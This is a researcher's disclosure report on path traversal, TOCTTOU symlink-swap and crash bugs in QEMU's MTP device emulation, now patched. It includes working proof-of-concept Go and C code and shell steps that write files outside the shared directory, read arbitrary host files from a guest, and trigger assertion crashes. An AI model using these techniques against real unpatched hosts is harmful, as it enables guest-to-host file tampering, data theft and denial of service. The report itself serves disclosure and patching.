Author: Michael Hanselmann. Updated: March 21, 2019.
QEMU is a virtual machine emulator. In late November 2018 I found several vulnerabilities in its Media Transfer Protocol emulation by reading the source code and, after producing proof-of-concept exploits, reported them to the project using responsible disclosure.
Patches:
- usb-mtp: outlaw slashes in filenames (commit c52d46e041)
- usb-mtp: use O_NOFOLLOW and O_CLOEXEC
- usb-mtp: Limit filename to object information size
Contents
- Reproduction environment
- Path traversal in usb_mtp_write_data function allows writing outside source directory (CVE-2018-16867)
- Malicious path traversal by host filesystem manipulation (CVE-2018-16872)
- usb_mtp_inotify_cleanup function closes same file descriptor multiple times
- Other notes
Reproduction environment
QEMU master branch as of November 27, 2018, commit 59ed3fe8d3. The file in question, hw/usb/dev-mtp.c
, was last modified in commit f7c36a754c (September 2018). Built and running on Debian 9 (Stretch) with gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1). Configure command:
./configure --target-list=x86_64-softmmu --disable-strip \ --enable-system --disable-user --disable-linux-user \ --disable-bsd-user --disable-guest-agent --enable-kvm \ --enable-virtfs --enable-debug
I used a daily build of Grml, a Debian-based live CD, changed to automatically provide a serial console for simplicity. A 9p device is used to provide data into the guest machine. Command used to start QEMU:
./x86_64-softmmu/qemu-system-x86_64 \ -smp 2 -m 600 -enable-kvm \ -machine pc,accel=kvm \ -vnc :0,to=99,id=default -serial mon:stdio \ -netdev user,id=user.0 -device e1000,netdev=user.0 \ -netdev user,id=user.1 -device e1000,netdev=user.1 \ -cdrom $HOME/grml64-small_testing_latest.iso \ -device piix3-usb-uhci \ -device usb-mtp,rootdir=/tmp,readonly=false \ -fsdev local,id=share,path=$HOME/share,security_model=none \ -device virtio-9p-pci,fsdev=share,mount_tag=share
To mount the shared data within the guest:
mount -t 9p -o ro,trans=virtio share /mnt
Path traversal in usb_mtp_write_data
function allows writing outside source directory (CVE-2018-16867)
The usb_mtp_write_data
function is susceptible to a path traversal attack because it trusts a filename from the guest:
path = g_strdup_printf("%s/%s", parent->path, s->dataset.filename);
When the device is in read-write mode (readonly=false
) an attacker can write arbitrary files and create directories in the context of the QEMU process. Depending on the circumstances code executation and privilege escalation on the host are possible.
With the command given earlier the MTP device exposes the /tmp
directory on the host to the guest. The following Go program traverses outside and creates a directory and file in /var/tmp
(will be owned by the QEMU user):
package main import ( "fmt" "log" "strconv" "strings" "time" "github.com/hanwen/go-mtpfs/mtp" ) const qemuStorageID = 0x00010001 func main() { dev, err := mtp.SelectDevice("") if err != nil { log.Fatal(err) } defer dev.Close() dev.DataDebug = true dev.MTPDebug = true if err = dev.Configure(); err != nil { log.Fatal(err) } pathPrefix := "../../../../../../var/tmp/" now := strconv.FormatInt(time.Now().Unix(), 10) // Create directory obj := mtp.ObjectInfo{ Filename: pathPrefix + "pocdir" + now, ObjectFormat: mtp.OFC_Association, ParentObject: 0, StorageID: qemuStorageID, } if _, _, _, err = dev.SendObjectInfo(qemuStorageID, 0, &obj); err != nil { log.Fatal(err) } content := strings.NewReader(fmt.Sprintf("Hello World %s\n", now)) // Create file obj = mtp.ObjectInfo{ Filename: pathPrefix + "pocfile" + now, ObjectFormat: mtp.OFC_Undefined, ParentObject: 0, StorageID: qemuStorageID, CompressedSize: uint32(content.Len()), } if _, _, _, err = dev.SendObjectInfo(qemuStorageID, 0, &obj); err != nil { log.Fatal(err) } if err = dev.SendObject(content, int64(content.Len())); err != nil { log.Fatal(err) } }
On the host system after executing the program in the guest:
$ ls -lhnd /var/tmp/pocdir1543452945; cat /var/tmp/pocfile1543452945 drw-r--r-- 2 1000 1000 4.0K Nov 29 00:55 /var/tmp/pocdir1543452945 Hello World 1543452945
Note also the mode of drw-r--r--
(0644) on the directory. That needs to include the executable bit.
While playing around with this proof-of-concept code I managed to trigger assertions from within the guest system. An otherwise unprivileged, yet malicious user with access to the MTP device within the guest can mount a denial of service attack. They seem to be triggered by miniscule protocol violations or by packets of certain lengths (tweak filename string).
One protocol violation triggering an assertion is to not send the object after already sending the object information. The following Go code triggers qemu/hw/usb/dev-mtp.c:1712: usb_mtp_write_metadata: Assertion `!s->write_pending' failed
:
package main import ( "log" "github.com/hanwen/go-mtpfs/mtp" ) const qemuStorageID = 0x00010001 func main() { dev, err := mtp.SelectDevice("") if err != nil { log.Fatal(err) } defer dev.Close() dev.DataDebug = true dev.MTPDebug = true if err = dev.Configure(); err != nil { log.Fatal(err) } for { obj := mtp.ObjectInfo{ Filename: "boom", ObjectFormat: mtp.OFC_Undefined, ParentObject: 0, StorageID: qemuStorageID, CompressedSize: 0, } if _, _, _, err = dev.SendObjectInfo(qemuStorageID, 0, &obj); err != nil { log.Fatal(err) } } }
Depending on the filename length in the object information usb_mtp_handle_data
may also return an error (“packet too small” in the EP_DATA_OUT
branch):
2018/11/29 00:16:56 MTP encoded &mtp.ObjectInfo{StorageID:0x10001, ObjectFormat:0x3000, ProtectionStatus:0x0, CompressedSize:0x17, ThumbFormat:0x0, ThumbCompressedSize:0x0, ThumbPixWidth:0x0, ThumbPixHeight:0x0, ImagePixWidth:0x0, ImagePixHeight:0x0, ImageBitDepth:0x0, ParentObject:0x0, AssociationType:0x0, AssociationDesc:0x0, SequenceNumber:0x0, Filename:"../../../../../../var/tmp/helloworld1234AbCdEfGhIj", CaptureDate:time.Time{wall:0x0, ext:0, loc:(*time.Location)(nil)}, ModificationDate:time.Time{wall:0xbef7e9de2aed5e18, ext:390483536, loc:(*time.Location)(0x7afba0)}, Keywords:""} 2018/11/29 00:16:56 MTP request SendObjectInfo [65537 0] send: 0x14 bytes with ep 0x2: 0000: 1400 0000 0100 0c10 0300 0000 0100 0100 ................ 0010: 0000 0000 .... send: 0xca bytes with ep 0x2: 0000: ca00 0000 0200 0c10 0300 0000 0100 0100 ................ 0010: 0030 0000 1700 0000 0000 0000 0000 0000 .0.............. 0020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0040: 332e 002e 002f 002e 002e 002f 002e 002e 3..../...../.... 0050: 002f 002e 002e 002f 002e 002e 002f 002e ./...../...../.. 0060: 002e 002f 0076 0061 0072 002f 0074 006d .../.v.a.r./.t.m 0070: 0070 002f 0068 0065 006c 006c 006f 0077 .p./.h.e.l.l.o.w 0080: 006f 0072 006c 0064 0031 0032 0033 0034 .o.r.l.d.1.2.3.4 0090: 0041 0062 0043 0064 0045 0066 0047 0068 .A.b.C.d.E.f.G.h 00a0: 0049 006a 0000 0000 1032 0030 0031 0038 .I.j.....2.0.1.8 00b0: 0031 0031 0032 0039 0054 0030 0030 0031 .1.1.2.9.T.0.0.1 00c0: 0036 0035 0036 0000 0000 .6.5.6.... 2018/11/29 00:17:10 fatal error LIBUSB_ERROR_PIPE; closing connection.
Sending CMD_SEND_OBJECT_INFO
with a length not matching the actual object length also triggers an assertion, qemu/hw/usb/dev-mtp.c:1805: usb_mtp_get_data: Assertion `(s->dataset.size == 0xFFFFFFFF) || (s->dataset.size == d->length)' failed
:
package main import ( "log" "strings" "github.com/hanwen/go-mtpfs/mtp" ) const qemuStorageID = 0x00010001 func main() { dev, err := mtp.SelectDevice("") if err != nil { log.Fatal(err) } defer dev.Close() dev.DataDebug = true dev.MTPDebug = true if err = dev.Configure(); err != nil { log.Fatal(err) } content := strings.NewReader("content") obj := mtp.ObjectInfo{ Filename: "boom", ObjectFormat: mtp.OFC_Undefined, ParentObject: 0, StorageID: qemuStorageID, // Note size of zero CompressedSize: 0, } if _, _, _, err = dev.SendObjectInfo(qemuStorageID, 0, &obj); err != nil { log.Fatal(err) } if err = dev.SendObject(content, int64(content.Len())); err != nil { log.Fatal(err) } }
Malicious path traversal by host filesystem manipulation (CVE-2018-16872)
The code opening files in usb_mtp_get_object
and usb_mtp_get_partial_object
and directories in usb_mtp_object_readdir
doesn't consider that the underlying filesystem may have changed since the time lstat(2)
was called in usb_mtp_object_alloc
, a classical TOCTTOU problem. An attacker with write access to the host filesystem shared with a guest can use this property to navigate the host filesystem in the context of the QEMU process and read any file the QEMU process has access to. Access to the filesystem may be local or via a network share protocol such as CIFS.
The proof-of-concept uses the renameat2
system call to atomically exchange a directory and a symlink. In experimentation I was also successful in filling the inotify watcher (fs.inotify.max_user_watches
defaults to 8192) such that it will fail to observe more directories and won't notice a non-atomic replacement. The latter is more fragile, hence the approach with renameat2
.
First we build a utility to call renameat2
(will be used on the host filesystem):
cat > renameat2.c <<'EOF' && cc -o renameat2 renameat2.c #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/syscall.h> #ifndef RENAME_EXCHANGE #define RENAME_EXCHANGE (1 << 1) #endif #ifndef SYS_renameat2 #if defined(__x86_64__) #define SYS_renameat2 314 // from arch/x86/syscalls/syscall_64.tbl #elif defined(__i386__) #define SYS_renameat2 353 // from arch/x86/syscalls/syscall_32.tbl #else #error Architecture unsupported #endif #endif int main(int argc, char** argv) { int ret; // Only glibc 2.28 and newer include a wrapper for renameat2 if (syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE) != 0) { perror("renameat2"); return EXIT_FAILURE; } return EXIT_SUCCESS; } EOF
Once again we have /tmp
on the host shared with the guest. Prepare a directory and symlink on the host:
# Use a new name every time to avoid using cached information pocdir="/tmp/escpoc$(date +%s)" echo "$pocdir" mkdir "$pocdir" "${pocdir}/hostfs" ln -Ts / "${pocdir}/link"
Install jmtpfs
in the guest:
# May throw errors due to running out of disk space if the guest doesn't have # enough RAM. As long as jmtpfs was unpacked all is fine. apt-get update && apt-get install -y jmtpfs
Mount emulated MTP device in guest and cause emulation to initialize data structures for some of the directories:
umount /mnt jmtpfs /mnt # It's important to not list the contents yet. Doing so would already # initialize the children objects. May take a while. ls -d /mnt/tmp/escpoc1543456132
Now exchange the symlink and the directory on the host filesystem:
./renameat2 /tmp/escpoc1543456132/hostfs /tmp/escpoc1543456132/link
The directory on the host should now look as follows:
$ ls -lnd /tmp/escpoc1543456132/{hostfs,link} drwxr-xr-x 2 1000 1000 4096 Nov 29 01:38 /tmp/escpoc1543456132/link lrwxrwxrwx 1 1000 1000 1 Nov 29 01:38 /tmp/escpoc1543456132/hostfs -> /
At this point the MTP object data structure for the hostfs
directory will have its absolute path. The MTP emulation won't notice the underlying filesystem has been modified to contain a symlink. Thus any path will be resolved through that symlink:
# Not exactly fast, but works ls -l /mnt/tmp/escpoc1543456132/hostfs/etc/ssl # Notice how we get the machine ID from the host cat /etc/machine-id /mnt/tmp/escpoc1543456132/hostfs/etc/machine-id
Example output listing data from the host filesystem:
# ls -l /mnt/tmp/escpoc1543456132/hostfs/etc/ssl total 0 drwxr-xr-x 2 root root 0 Jul 29 22:39 certs -rw-r--r-- 1 root root 10771 Mar 29 2018 openssl.cnf # cat /etc/machine-id /mnt/tmp/escpoc1543456132/hostfs/etc/machine-id d819020192144a6fb90955ad2fb4340a 4ce29df9940209495bff9493034935a9
Excerpt from strace(1)
on the QEMU process:
[pid 12624] open("/tmp/escpoc1543456132/rootfs/etc/dpkg", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 20 [pid 12624] inotify_add_watch(19, "/tmp/escpoc1543456132/rootfs/etc/dpkg", IN_MODIFY|IN_CREATE|IN_DELETE|IN_ISDIR) = 89
Funnily enough it's even possible to trigger assertions with normal operations:
root@grml /mnt/tmp/escpoc1543456132/rootfs/etc # cd ../tmp root@grml /mnt/tmp/escpoc1543456132/rootfs/tmp # touch a touch: cannot touch 'a': Input/output error 1 root@grml /mnt/tmp/escpoc1543456132/rootfs/tmp # ls […]qemu/hw/usb/dev-mtp.c:1712: usb_mtp_write_metadata: Assertion `!s->write_pending' failed.
usb_mtp_inotify_cleanup
function closes same file descriptor multiple times
This was determined to not be a security issue. I'm leaving it in the report nonetheless.
By combining operations in creative ways it's possible to get usb_mtp_inotify_cleanup
called multiple times. After closing the inotify file descriptor it doesn't update its internal record and thus calls close(2)
multiple times. Other code could've gotten the newly-closed file descriptor when opening a file or device. qemu_set_fd_handler
is always called and may disable another, unrelated handler. From strace(1)
:
[pid 1212] close(19) = 0 [pid 1212] close(19) = -1 EBADF (Bad file descriptor) [pid 1211] close(19) = 0 [pid 1211] close(19) = -1 EBADF (Bad file descriptor)
Other notes
Other problems I noticed with the MTP emulation code:
- Handle counter can overflow, may lead to more problems (not investigated)
- Object tracking data structures require O(n) lookups, making handling of large file numbers extremely inefficient
- usb_mtp_write_metadata function doesn't convert from little-endian to host CPU endianess